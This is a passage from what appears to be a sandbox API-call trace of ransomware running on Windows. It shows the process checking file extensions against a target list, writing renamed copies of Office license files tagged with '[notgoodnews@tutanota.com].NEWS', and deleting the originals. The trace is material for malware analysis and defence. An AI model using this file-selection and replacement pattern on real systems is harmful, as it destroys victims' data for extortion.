Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0185.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0185.551] lstrlenW (lpString=".doc") returned 4 [0185.551] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.551] lstrlenW (lpString=".docx") returned 5 [0185.551] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.551] lstrlenW (lpString=".pdf") returned 4 [0185.551] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.551] lstrlenW (lpString=".xls") returned 4 [0185.551] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.551] lstrlenW (lpString=".xlsx") returned 5 [0185.551] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.551] lstrlenW (lpString=".ppt") returned 4 [0185.551] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0185.552] lstrlenW (lpString=".zip") returned 4 [0185.552] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.552] lstrlenW (lpString=".rar") returned 4 [0185.552] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.552] lstrlenW (lpString=".bz2") returned 4 [0185.552] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.552] lstrlenW (lpString=".7z") returned 3 [0185.552] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0185.552] lstrlenW (lpString=".dbf") returned 4 [0185.552] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0185.552] lstrlenW (lpString=".1cd") returned 4 [0185.552] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0185.552] lstrlenW (lpString=".jpg") returned 4 [0185.552] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.552] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0185.552] lstrlenW (lpString="HomeBusinessR_Retail2-ppd.xrm-ms") returned 32 [0185.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0185.553] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=22092) returned 1 [0185.553] CloseHandle (hObject=0x3ec) returned 1 [0185.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 0x220 [0185.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0185.554] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.554] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0185.555] GetLastError () returned 0x0 [0185.555] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x564c, lpOverlapped=0x0) returned 1 [0185.558] WriteFile (in: hFile=0x36c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x5650, lpOverlapped=0x0) returned 1 [0185.560] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.560] WriteFile (in: hFile=0x36c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x114, lpOverlapped=0x0) returned 1 [0185.560] SetEndOfFile (hFile=0x36c) returned 1 [0185.560] CloseHandle (hObject=0x36c) returned 1 [0185.560] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.560] SetEndOfFile (hFile=0x3ec) returned 1 [0185.564] CloseHandle (hObject=0x3ec) returned 1 [0185.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 1 [0185.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0185.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0185.566] lstrlenW (lpString=".doc") returned 4 [0185.566] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.566] lstrlenW (lpString=".docx") returned 5 [0185.566] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.566] lstrlenW (lpString=".pdf") returned 4 [0185.566] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.566] lstrlenW (lpString=".xls") returned 4 [0185.566] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.566] lstrlenW (lpString=".xlsx") returned 5 [0185.566] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.566] lstrlenW (lpString=".ppt") returned 4 [0185.566] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0185.566] lstrlenW (lpString=".zip") returned 4 [0185.566] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.566] lstrlenW (lpString=".rar") returned 4 [0185.566] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.566] lstrlenW (lpString=".bz2") returned 4 [0185.566] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.566] lstrlenW (lpString=".7z") returned 3 [0185.566] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0185.566] lstrlenW (lpString=".dbf") returned 4 [0185.566] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0185.566] lstrlenW (lpString=".1cd") returned 4 [0185.567] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0185.567] lstrlenW (lpString=".jpg") returned 4 [0185.567] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0185.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0185.567] lstrlenW (lpString=".doc") returned 4 [0185.567] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.567] lstrlenW (lpString=".docx") returned 5 [0185.567] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.567] lstrlenW (lpString=".pdf") returned 4 [0185.567] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.567] lstrlenW (lpString=".xls") returned 4 [0185.567] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.567] lstrlenW (lpString=".xlsx") returned 5 [0185.567] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.567] lstrlenW (lpString=".ppt") returned 4 [0185.567] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0185.567] lstrlenW (lpString=".zip") returned 4 [0185.567] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.567] lstrlenW (lpString=".rar") returned 4 [0185.567] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.567] lstrlenW (lpString=".bz2") returned 4 [0185.567] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.567] lstrlenW (lpString=".7z") returned 3 [0185.567] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0185.568] lstrlenW (lpString=".dbf") returned 4 [0185.568] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0185.568] lstrlenW (lpString=".1cd") returned 4 [0185.568] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0185.568] lstrlenW (lpString=".jpg") returned 4 [0185.568] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.568] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0185.568] lstrlenW (lpString="HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 35 [0185.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0185.569] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11613) returned 1 [0185.569] CloseHandle (hObject=0x3ec) returned 1 [0185.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 0x220 [0185.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0185.570] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.570] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0185.571] GetLastError () returned 0x0 [0185.571] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0185.761] WriteFile (in: hFile=0x36c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0185.762] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.762] WriteFile (in: hFile=0x36c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x11a, lpOverlapped=0x0) returned 1 [0185.762] SetEndOfFile (hFile=0x36c) returned 1 [0185.763] CloseHandle (hObject=0x36c) returned 1 [0185.763] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.763] SetEndOfFile (hFile=0x3ec) returned 1 [0185.767] CloseHandle (hObject=0x3ec) returned 1 [0185.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0186.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 1 [0186.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0186.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0186.064] lstrlenW (lpString=".doc") returned 4 [0186.064] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.064] lstrlenW (lpString=".docx") returned 5 [0186.064] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.064] lstrlenW (lpString=".pdf") returned 4 [0186.064] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.064] lstrlenW (lpString=".xls") returned 4 [0186.064] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.064] lstrlenW (lpString=".xlsx") returned 5 [0186.064] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.064] lstrlenW (lpString=".ppt") returned 4 [0186.064] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0186.064] lstrlenW (lpString=".zip") returned 4 [0186.064] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.064] lstrlenW (lpString=".rar") returned 4 [0186.064] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.064] lstrlenW (lpString=".bz2") returned 4 [0186.064] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.064] lstrlenW (lpString=".7z") returned 3 [0186.064] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0186.064] lstrlenW (lpString=".dbf") returned 4 [0186.064] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0186.064] lstrlenW (lpString=".1cd") returned 4 [0186.064] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0186.065] lstrlenW (lpString=".jpg") returned 4 [0186.065] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0186.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0186.065] lstrlenW (lpString=".doc") returned 4 [0186.065] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.065] lstrlenW (lpString=".docx") returned 5 [0186.065] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.065] lstrlenW (lpString=".pdf") returned 4 [0186.065] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.065] lstrlenW (lpString=".xls") returned 4 [0186.065] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.065] lstrlenW (lpString=".xlsx") returned 5 [0186.065] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.065] lstrlenW (lpString=".ppt") returned 4 [0186.065] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0186.065] lstrlenW (lpString=".zip") returned 4 [0186.065] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.065] lstrlenW (lpString=".rar") returned 4 [0186.065] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.065] lstrlenW (lpString=".bz2") returned 4 [0186.065] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.065] lstrlenW (lpString=".7z") returned 3 [0186.065] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0186.065] lstrlenW (lpString=".dbf") returned 4 [0186.066] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0186.066] lstrlenW (lpString=".1cd") returned 4 [0186.066] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0186.066] lstrlenW (lpString=".jpg") returned 4 [0186.066] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.066] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0186.066] lstrlenW (lpString="HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 35 [0186.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0186.067] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11613) returned 1 [0186.067] CloseHandle (hObject=0x564) returned 1 [0186.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 0x220 [0186.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0186.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0186.068] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.068] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0186.069] GetLastError () returned 0x0 [0186.069] ReadFile (in: hFile=0x564, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0186.072] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0186.081] ReadFile (in: hFile=0x564, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.081] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x11a, lpOverlapped=0x0) returned 1 [0186.081] SetEndOfFile (hFile=0x4dc) returned 1 [0186.081] CloseHandle (hObject=0x4dc) returned 1 [0186.082] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.082] SetEndOfFile (hFile=0x564) returned 1 [0186.085] CloseHandle (hObject=0x564) returned 1 [0186.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0186.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 1 [0186.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0186.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0186.093] lstrlenW (lpString=".doc") returned 4 [0186.093] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.093] lstrlenW (lpString=".docx") returned 5 [0186.093] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.093] lstrlenW (lpString=".pdf") returned 4 [0186.093] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.093] lstrlenW (lpString=".xls") returned 4 [0186.093] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.093] lstrlenW (lpString=".xlsx") returned 5 [0186.093] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.093] lstrlenW (lpString=".ppt") returned 4 [0186.093] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0186.093] lstrlenW (lpString=".zip") returned 4 [0186.094] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.094] lstrlenW (lpString=".rar") returned 4 [0186.094] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.094] lstrlenW (lpString=".bz2") returned 4 [0186.094] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.094] lstrlenW (lpString=".7z") returned 3 [0186.094] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.094] lstrlenW 